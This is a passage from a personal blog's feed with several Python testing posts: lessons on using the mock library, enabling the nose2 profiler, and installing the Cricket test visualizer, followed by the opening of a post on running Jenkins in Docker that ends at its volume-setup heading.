</summary><content type="html">&lt;div class="section" id="preamble"&gt;
&lt;h2&gt;Preamble&lt;/h2&gt;
&lt;p&gt;In the past few months I've been fortunate enough to write code using TDD. There a brief outline of my experiences using python Mock library help with adding test coverage for the code which is hard to test.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="lessons-learned-from-using-mock"&gt;
&lt;h2&gt;Lessons learned from using mock&lt;/h2&gt;
&lt;p&gt;Mocking internals of your application is hard, mostly because of dependencies on the other parts of the program, in this case object should be mocked if there is no other choice -- a much better approach is to just create object instances, this is especially true when creating database-backed objects. Integration tests of real database-backed object will verify application logic, as well as database relationships.&lt;/p&gt;
&lt;p&gt;Mocks, however, are perfect when faking third party API responses -- there's no application interdependencies to be aware of, the test suite allows to execute code as is, without relying on third-party services or sending any data out, it codifies third party API responses as they are used by your application -- the latter point is especially helpful when a third party API changes between the releases, and any unexpected errors raised after an upgrade, can be quickly identified.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="knowing-where-to-inject-mock-object"&gt;
&lt;h2&gt;Knowing where to inject mock object&lt;/h2&gt;
&lt;p&gt;The most challenging part of mocking an object is to figure out where to inject a mocked object. The object needs to be mocked whenever its imported and used an not whenever it's defined. This makes sense because the purpose of the test is to check particular code path with a mock and not to mock that object everywhere. However,  my initial assumption was to simply copy import statement from a source, which led to a lot of confusion.&lt;/p&gt;
&lt;p&gt;In the following example, of guessing a number between 0 and 10. If the code was saved in a file &lt;strong&gt;main.py&lt;/strong&gt; with import from  &lt;strong&gt;random.randint&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;guess&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;random&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;randint&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Guessed &lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;randint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Mock setup for this case will have to inject randint mock object into &lt;strong&gt;main&lt;/strong&gt; program and not &lt;strong&gt;rand&lt;/strong&gt; library.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;mock&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;patch&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;patch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;main.randint&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;rnd_mock&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;main&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;guess&lt;/span&gt;
    &lt;span class="n"&gt;guess&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rnd_mock&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="debugging-objects-that-don-t-cooperate-with-mock"&gt;
&lt;h2&gt;Debugging objects that don't cooperate with mock&lt;/h2&gt;
&lt;p&gt;The second-most challenging thing about mocking objects is timing -- especially the cases where an original instance of the object gets called before mock patch ever has a chance to replace the object.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;mock&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;patch&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;foo&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;bar&lt;/span&gt;

&lt;span class="n"&gt;bar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;patch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;foo.bar.run&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;bar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;In this particular case, going against pythonic way of importing code, keeping all the imports at the top of the file, is justified as this solves the problem, running import within patch section will do the trick.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;mock&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;patch&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;patch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;foo.bar.run&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;foo&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;bar&lt;/span&gt;
    &lt;span class="n"&gt;bar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;bar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;In general there is no easy solution to this kind of problem, but a useful debugging technique would be to put a debug point before &lt;strong&gt;with&lt;/strong&gt; declaration, just inside &lt;strong&gt;with&lt;/strong&gt; declaration, and just before the declaration of the object to be mocked. Tracing the order of calls would give a good clue on what's wrong with the mock setup.&lt;/p&gt;
&lt;p&gt;Most of the time, the problem is cause by the wrong assumption about the order of imports.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="mocked-method-call-vs-mocked-property"&gt;
&lt;h2&gt;Mocked method call vs. mocked property&lt;/h2&gt;
&lt;p&gt;There's a difference between calling a mocked property and a method -- it's possible to just assign the value to a property, however for a function needs to be assigned the return value to the property &lt;strong&gt;return_value&lt;/strong&gt; of that mock.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;mock&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;MagicMock&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;print_property&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
     &lt;span class="n"&gt;myobj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;MagicMock&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
     &lt;span class="n"&gt;myobj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;myprop&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
     &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;myobj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;myprop&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;print_method&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;myobj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;MagicMock&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;myobj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;my_method&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;return_value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;myobj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;my_method&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;In the case of mocking methods calling other methods, return_value can be skipped until the very last method in the chain&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;mock&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;MagicMock&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;print_chained_method&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
     &lt;span class="n"&gt;myobj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;MagicMock&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
     &lt;span class="n"&gt;myobj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;last_method&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;return_value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;42&lt;/span&gt;
     &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;myobj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;last_method&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="mock-helper-methods"&gt;
&lt;h2&gt;Mock helper methods&lt;/h2&gt;
&lt;p&gt;The following helper methods are useful when examining mocks state of how many times and with which parameters a mock was called.&lt;/p&gt;
&lt;p&gt;See mock documentation for more info -- &lt;a class="reference external" href="https://docs.python.org/3/library/unittest.mock.html"&gt;https://docs.python.org/3/library/unittest.mock.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;method calls&lt;/strong&gt; -- a method for tracking any calls to mock objects as well as calls to their methods and attributes.&lt;/p&gt;
&lt;p&gt;i.e. The object hasn't been called&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;mailer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;method_calls&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A constructor has been called with a 'Message' object&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;mailer&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;method_calls&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;pyramid_mailer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Message&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="mh"&gt;0x7fb9cae06e90&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;call_args&lt;/strong&gt; -- the arguments the mock was last called with. This method will only return arguments from the last call. To get arguments from all calls, use &lt;em&gt;call_args_list&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;call_args_list&lt;/strong&gt; -- list of the calls made to the mock objects in a sequence. Useful for figuring out the order of calls.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;call_count&lt;/strong&gt; -- the number of times mock object was called&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;mock_calls&lt;/strong&gt; -- records all calls to the mock object, its methods, magic methods and return value mocks.&lt;/p&gt;
&lt;/div&gt;
</content><category term="python"></category><category term="python"></category><category term="testing"></category><category term="mock"></category></entry><entry><title>Nose2 profiler setup</title><link href="https://flamy.ca/blog/2016-11-17-nose2-profiler-setup.html" rel="alternate"></link><published>2016-11-17T00:00:00-05:00</published><updated>2016-11-17T00:00:00-05:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2016-11-17:/blog/2016-11-17-nose2-profiler-setup.html</id><summary type="html">&lt;p class="first last"&gt;nose2 profiling configuration&lt;/p&gt;
</summary><content type="html">&lt;p&gt;Nose profiler is one of the plugins that come with nose2 but is turned off by default.&lt;/p&gt;
&lt;p&gt;To enable profiling add the following configuration to &lt;strong&gt;unittest.cfg&lt;/strong&gt; in the root of your project.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;[unittest]&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="na"&gt;plugins&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;nose2.plugins.prof&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="k"&gt;[profiler]&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="na"&gt;always-on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;False&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="na"&gt;filename&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="na"&gt;restrict&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="na"&gt;sort&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;cumulative&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;To enable profiler during nose2 run, use the following command parameters &lt;tt class="docutils literal"&gt;nose2 &lt;span class="pre"&gt;-P&lt;/span&gt;&lt;/tt&gt; or more useful, redirect stdout and stderror into a file so profiler output can be analyzed &lt;tt class="docutils literal"&gt;nose2 &lt;span class="pre"&gt;-P&lt;/span&gt; &amp;amp;&amp;gt; perf_report.txt&lt;/tt&gt;&lt;/p&gt;
</content><category term="python"></category><category term="python"></category><category term="testing"></category><category term="nose2"></category><category term="profiling"></category></entry><entry><title>Cricket -- awesome test visualizer</title><link href="https://flamy.ca/blog/2016-11-16-cricket-awesome-test-visualizer.html" rel="alternate"></link><published>2016-11-16T00:00:00-05:00</published><updated>2016-11-16T00:00:00-05:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2016-11-16:/blog/2016-11-16-cricket-awesome-test-visualizer.html</id><summary type="html">&lt;p class="first last"&gt;Cricket, a handy GUI tool for running tests in python&lt;/p&gt;
</summary><content type="html">&lt;p&gt;I've been writing tests for a while and running them with nose2. One of more labor-intensive interactions with nose2 is typing out paths to individual tests. Cricket -- a part of BeeWare suite solves copying-and-pasting test name problem and provides a nice user interface to summarize results from running test suite.&lt;/p&gt;
&lt;div class="section" id="installing-dependencies"&gt;
&lt;h2&gt;Installing dependencies&lt;/h2&gt;
&lt;p&gt;Cricket has a couple of system-level dependencies: IDLE editor and IDLE library and TkInter.&lt;/p&gt;
&lt;p&gt;For Debian,&lt;/p&gt;
&lt;p&gt;Running Cricket under Python 2.7 the following libraries need to be installed&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;apt-get install idle idle-python2.7 python-tk
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Running Cricket Python 3.x the dependencies are&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;apt-get install idle3 idle-python3.5 python-tk
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="installing-cricket"&gt;
&lt;h2&gt;Installing cricket&lt;/h2&gt;
&lt;p&gt;Cricket is installed using pip, you can install it in the existing project, or add it in setup.py as one of the dependencies.&lt;/p&gt;
&lt;p&gt;Cricket pip page -- &lt;a class="reference external" href="https://pypi.python.org/pypi/cricket"&gt;https://pypi.python.org/pypi/cricket&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;(cricket-test)$ pip install cricket
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="running-cricket"&gt;
&lt;h2&gt;Running cricket&lt;/h2&gt;
&lt;p&gt;For any python project written with unittest, run &lt;strong&gt;cricket-unittst&lt;/strong&gt; for django projects, run &lt;strong&gt;cricket-django&lt;/strong&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="runnig-sample-pyramid-project-with-cricket"&gt;
&lt;h2&gt;Runnig sample pyramid project with cricket&lt;/h2&gt;
&lt;p&gt;Getting started with cricket -- this example of running Pyramid test under Python 3.5&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Create Python 3 virtualenv&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ mkvirtualenv cricket-test --python `which python3`
(cricket-test) $ python -V
Python 3.5.2+
&lt;/pre&gt;&lt;/div&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Pull Pyramid source code&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;(cricket-test) $ git clone https://github.com/Pylons/pyramid.git
&lt;/pre&gt;&lt;/div&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Install Pyramid dependencies&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;(cricket-test) $ cd pyramid/
(cricket-test) $ pip install -e .
&lt;/pre&gt;&lt;/div&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Install dependencies to run tests&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;(cricket-test) $ pip install -e .[testing]
&lt;/pre&gt;&lt;/div&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Install cricket&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;(cricket-test) $ pip install cricket
&lt;/pre&gt;&lt;/div&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Run cricket&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;(cricket-test) $ cricket-unittest &amp;amp;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The following UI should appear. If you want to be able to use code coverage tool -- Duvet -- &lt;a class="reference external" href="https://pypi.python.org/pypi/duvet"&gt;https://pypi.python.org/pypi/duvet&lt;/a&gt;, install it with pip using the following command&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;(cricket-test) $ pip install duvet
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Cricket: running all test by pressing &lt;strong&gt;Run All&lt;/strong&gt;&lt;/p&gt;
&lt;img alt="Cricket - run all tests" class="align-center" src="/images/0001_cricket_ran.png" style="width: 600px; height: 484px;" /&gt;
&lt;p&gt;Cricket: copying single test, by selecting a test then pressing &lt;strong&gt;Run Selected&lt;/strong&gt;&lt;/p&gt;
&lt;img alt="Cricket - ran an individual test" class="align-center" src="/images/0002_cricket_individual_test.png" style="width: 600px; height: 484px;" /&gt;
&lt;p&gt;Cricket: running a group of tests, by selecting a top-level filename or class, then pressing &lt;strong&gt;Run Selected&lt;/strong&gt;&lt;/p&gt;
&lt;img alt="Cricket -- ran a group of tests" class="align-center" src="/images/0003_cricket_ran_test_group.png" style="width: 600px; height: 484px;" /&gt;
&lt;/div&gt;
&lt;div class="section" id="missing-dependencies-errors"&gt;
&lt;h2&gt;Missing dependencies errors&lt;/h2&gt;
&lt;p&gt;If any of system packages is missing from the system the following errors will be triggered when trying to run Cricket.&lt;/p&gt;
&lt;div class="section" id="missing-python-tkinter"&gt;
&lt;h3&gt;Missing python-tkinter&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;Traceback (most recent call last):
File &amp;quot;/home/alex/.virtualenvs/cricket-test/bin/cricket-unittest&amp;quot;, line 7, in &amp;lt;module&amp;gt;
from cricket.unittest.__main__ import main
File &amp;quot;/home/alex/.virtualenvs/cricket-test/local/lib/python2.7/site-packages/cricket/unittest/__main__.py&amp;quot;, line 4, in &amp;lt;module&amp;gt;
from cricket.main import main as cricket_main
File &amp;quot;/home/alex/.virtualenvs/cricket-test/local/lib/python2.7/site-packages/cricket/main.py&amp;quot;, line 13, in &amp;lt;module&amp;gt;
from tkinter import *
ImportError: No module named tkinter
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="missing-idle-idle-python"&gt;
&lt;h3&gt;Missing idle / idle-python&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;    Traceback (most recent call last):
File &amp;quot;/home/alex/.virtualenvs/cricket-test/bin/cricket-unittest&amp;quot;, line 7, in &amp;lt;module&amp;gt;
from cricket.unittest.__main__ import main
File &amp;quot;/home/alex/.virtualenvs/cricket-test/local/lib/python2.7/site-packages/cricket/unittest/__main__.py&amp;quot;, line 4, in &amp;lt;module&amp;gt;
from cricket.main import main as cricket_main
File &amp;quot;/home/alex/.virtualenvs/cricket-test/local/lib/python2.7/site-packages/cricket/main.py&amp;quot;, line 15, in &amp;lt;module&amp;gt;
from cricket.view import (
File &amp;quot;/home/alex/.virtualenvs/cricket-test/local/lib/python2.7/site-packages/cricket/view.py&amp;quot;, line 29, in &amp;lt;module&amp;gt;
from tkreadonly import ReadOnlyText
File &amp;quot;/home/alex/.virtualenvs/cricket-test/local/lib/python2.7/site-packages/tkreadonly.py&amp;quot;, line 15, in &amp;lt;module&amp;gt;
&amp;quot;to work out how to install IDLE and idlelib.&amp;quot;)
Exception: idlelib could not be found. Check your operating system instructions to work out how to install IDLE and idlelib.
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="resources"&gt;
&lt;h2&gt;Resources&lt;/h2&gt;
&lt;p&gt;Cricket github page -- &lt;a class="reference external" href="https://github.com/pybee/cricket"&gt;https://github.com/pybee/cricket&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Duvet github page -- &lt;a class="reference external" href="https://github.com/pybee/duvet"&gt;https://github.com/pybee/duvet&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;python.__init__ podcast: An interview with Russel Keith McGee -- &lt;a class="reference external" href="http://podcastinit.podbean.com/e/episode-64-beeware-with-russell-keith-magee/"&gt;http://podcastinit.podbean.com/e/episode-64-beeware-with-russell-keith-magee/&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
</content><category term="python"></category><category term="python"></category><category term="testing"></category><category term="cricket"></category></entry><entry><title>Running Jenkins in Docker</title><link href="https://flamy.ca/blog/2016-10-28-running-jenkins-in-docker.html" rel="alternate"></link><published>2016-10-28T10:19:00-04:00</published><updated>2016-10-28T10:19:00-04:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2016-10-28:/blog/2016-10-28-running-jenkins-in-docker.html</id><summary type="html">&lt;p class="first last"&gt;setting up jenkins in docker&lt;/p&gt;
</summary><content type="html">&lt;div class="section" id="requirements"&gt;
&lt;h2&gt;Requirements&lt;/h2&gt;
&lt;p&gt;I went to an FSOSS 2016 &lt;a class="footnote-reference" href="#footnote-1" id="footnote-reference-1"&gt;[1]&lt;/a&gt; conference and I found one talk on Jenkins to be particularly interesting.&lt;/p&gt;
&lt;p&gt;I wanted to try Jenkins, without configuring Java on my laptop or setting up a VM. Using Jenkins docker container would be the easiest solution for this kind of problem.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="prerequisites"&gt;
&lt;h2&gt;Prerequisites&lt;/h2&gt;
&lt;p&gt;This article assumes Docker &lt;a class="footnote-reference" href="#footnote-2" id="footnote-reference-2"&gt;[2]&lt;/a&gt; and Docker Compose &lt;a class="footnote-reference" href="#footnote-3" id="footnote-reference-3"&gt;[3]&lt;/a&gt; have been set up.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="jenkins-container"&gt;
&lt;h2&gt;Jenkins container&lt;/h2&gt;
&lt;p&gt;I used an official container built by Jenkins community &lt;a class="footnote-reference" href="#footnote-4" id="footnote-reference-4"&gt;[4]&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The container comes with these settings:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Jenkins server runs on ports 5000 and 8000&lt;/li&gt;
&lt;li&gt;Jenkins settings saved to &lt;strong&gt;/var/jenkins_home&lt;/strong&gt; and the directory is exposed as a docker volume&lt;/li&gt;
&lt;li&gt;user / group ids are set to jenkins / jenkins with uid/gid set to 1001/1001.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="volume-setup"&gt;
&lt;h2&gt;Volume Setup&lt;/h2&gt;
